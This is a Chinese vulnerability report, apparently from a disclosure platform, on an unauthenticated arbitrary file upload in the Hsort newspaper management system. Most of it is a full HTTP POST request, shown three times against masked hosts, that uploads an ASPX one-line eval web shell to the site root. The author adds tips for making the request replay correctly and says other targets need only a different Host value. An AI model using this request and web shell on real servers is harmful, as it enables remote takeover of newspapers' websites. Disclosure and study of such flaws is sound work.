Hsort报刊管理系统getshell

漏洞作者: 路人甲

详细说明:

Hsort报刊管理系统,有大量报社在使用该系统。

后台某处上传文件时,未对用户身份进行验证,因此造成了任意文件上传。

#1 以http://**.**.**.**/ 为例

构造以下post请求,再使用burpsuite模拟提交,即可成功上传了一个名为1.aspx的小马到网站根目录。

POST /Admin/fileManage.aspx?action=UPLOAD&value1=~/ HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Content-Length: 270
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzU8cYAkiaOHkm3gA
Referer: http://**.**.**.**/Admin/HsortWebExplorer.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4,ja;q=0.2
Cookie: menuitems=1_1%2C2_1%2C3_1%2C6_1%2C7_1%2C8_1; ASPSESSIONIDAQQCCTAS=MDPBIBFCNNGPEMMPIKBIFAEO; ASP.NET_SessionId=cqz2nw450qlxni254ihyh03w; ImageV=QTB5K; userID=8; .ASPXAUTH=C64B54127984EDB2B5EC27C4379C52D8C9DEEA8E35777741B4143F50E45AB5BA00647DD9D604E701535E52FC2DDD938A9312D474008E92FB15887C22E8F2840C16BEDDD4A6ADC8C7; LWSysUserName=admin

------WebKitFormBoundaryzU8cYAkiaOHkm3gA
Content-Disposition: form-data; name="selectFile"; filename="1.aspx"
Content-Type: application/octet-stream

<%@ Page Language="Jscript"%><%eval(Request.Item["123a5"],"unsafe");%>
------WebKitFormBoundaryzU8cYAkiaOHkm3gA--

PS: 以上code标签里的内容,如果直接复制黏贴使用的话,数据包格式可能不对,因为为了方便阅读,系统好像自动在行与行之间空了一行,删除行与行之间多余的空行即可。自己发出来后又测试了一下,发现不对了,弄了半天发现是这个问题.....

170104223de7d12970903c151a0b5a12c41fa0db[1]

上传成功

http://**.**.**.**/1.aspx

17010512f80c04f8878ba367e8b497a406757c7a[1]

其他目标只需修改post数据包中的主机地址 host的值即可,也可以通过修改参数value1的值,上传到网站的其他目录下。

#2

POST /Admin/fileManage.aspx?action=UPLOAD&value1=~/ HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Content-Length: 270
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzU8cYAkiaOHkm3gA
Referer: http://**.**.**.**/Admin/HsortWebExplorer.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4,ja;q=0.2
Cookie: menuitems=1_1%2C2_1%2C3_1%2C6_1%2C7_1%2C8_1; ASPSESSIONIDAQQCCTAS=MDPBIBFCNNGPEMMPIKBIFAEO; ASP.NET_SessionId=cqz2nw450qlxni254ihyh03w; ImageV=QTB5K; userID=8; .ASPXAUTH=C64B54127984EDB2B5EC27C4379C52D8C9DEEA8E35777741B4143F50E45AB5BA00647DD9D604E701535E52FC2DDD938A9312D474008E92FB15887C22E8F2840C16BEDDD4A6ADC8C7; LWSysUserName=admin

------WebKitFormBoundaryzU8cYAkiaOHkm3gA
Content-Disposition: form-data; name="selectFile"; filename="1.aspx"
Content-Type: application/octet-stream

<%@ Page Language="Jscript"%><%eval(Request.Item["123a5"],"unsafe");%>
------WebKitFormBoundaryzU8cYAkiaOHkm3gA--

17013749a76cf07a93ded97082f344b94efe0695[1]

http://**.**.**.**/1.aspx

#3

POST /Admin/fileManage.aspx?action=UPLOAD&value1=~/ HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Content-Length: 270
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzU8cYAkiaOHkm3gA
Referer: http://**.**.**.**/Admin/HsortWebExplorer.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4,ja;q=0.2
Cookie: menuitems=1_1%2C2_1%2C3_1%2C6_1%2C7_1%2C8_1; ASPSESSIONIDAQQCCTAS=MDPBIBFCNNGPEMMPIKBIFAEO; ASP.NET_SessionId=cqz2nw450qlxni254ihyh03w; ImageV=QTB5K; userID=8; .ASPXAUTH=C64B54127984EDB2B5EC27C4379C52D8C9DEEA8E35777741B4143F50E45AB5BA00647DD9D604E701535E52FC2DDD938A9312D474008E92FB15887C22E8F2840C16BEDDD4A6ADC8C7; LWSysUserName=admin

------WebKitFormBoundaryzU8cYAkiaOHkm3gA
Content-Disposition: form-data; name="selectFile"; filename="1.aspx"
Content-Type: application/octet-stream

<%@ Page Language="Jscript"%><%eval(Request.Item["123a5"],"unsafe");%>
------WebKitFormBoundaryzU8cYAkiaOHkm3gA--

发表评论